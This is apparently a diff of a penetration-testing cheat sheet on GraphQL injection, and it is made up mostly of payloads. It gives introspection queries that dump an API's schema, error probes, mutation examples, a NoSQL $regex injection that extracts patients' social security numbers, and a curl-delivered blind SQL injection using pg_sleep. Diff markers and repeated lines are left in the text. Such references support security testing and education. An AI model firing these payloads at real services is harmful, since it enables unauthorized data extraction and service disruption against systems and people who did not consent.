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GraphQL injection : blind nosqli + sqli

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GraphQL Injection/README.md
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> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data.
## Summary
* [Tools](#tools)
* [Exploit](#exploit)
* [Identify an injection point](#identify-an-injection-point)
* [Enumerate Database Schema via Instropection](#enumerate-database-schema-via-introspection)
* [Extract data](#extract-data)
* [Enumerate the types' definition](#enumerate-the-type-definition)
* [Use mutations](#use-mutations)
* [NOSQL injection](#nosql-injection)
* [SQL injection](#sql-injection)
* [References](#references)
## Tools
* [GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes](https://github.com/swisskyrepo/GraphQLmap)
* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/)
* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide)
## Exploit
### Identify an injection point
Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.
```js
example.com/graphql?query={__schema{types{name}}}
```
Check if errors are visible
Check if errors are visible.
```javascript
?param={__schema}
?param={}
?param={thisdefinitelydoesnotexist}
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
### Extract data
### Enumerate Database Schema via Introspection
URL encoded query to dump the database schema.
```js
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
```
![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
### Enumerate Database Schema with the following GraphQL query
URL decoded query to dump the database schema.
```javascript
fragment FullType on __Type {
@ -124,14 +148,67 @@ query IntrospectionQuery {
}
```
### Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
### Extract data
```js
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
```
![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
### Enumerate the types' definition
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
```javascript
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
```
### Use mutations
Mutations work like function, you can use them to interact with the GraphQL.
```javascript
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
```
### NOSQL injection
Use `$regex`, `$ne` from []() inside a `search` parameter.
```json
{
doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}",
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
{
firstName lastName id patients{ssn}
}
}
```
### SQL injection
Simple SQL injection inside a graphql field.
```powershell
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
```
## References
* [Introduction to GraphQL](https://graphql.org/learn/)
* [GraphQL Introspection](https://graphql.org/learn/introspection/)
* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/)
* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066)
* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)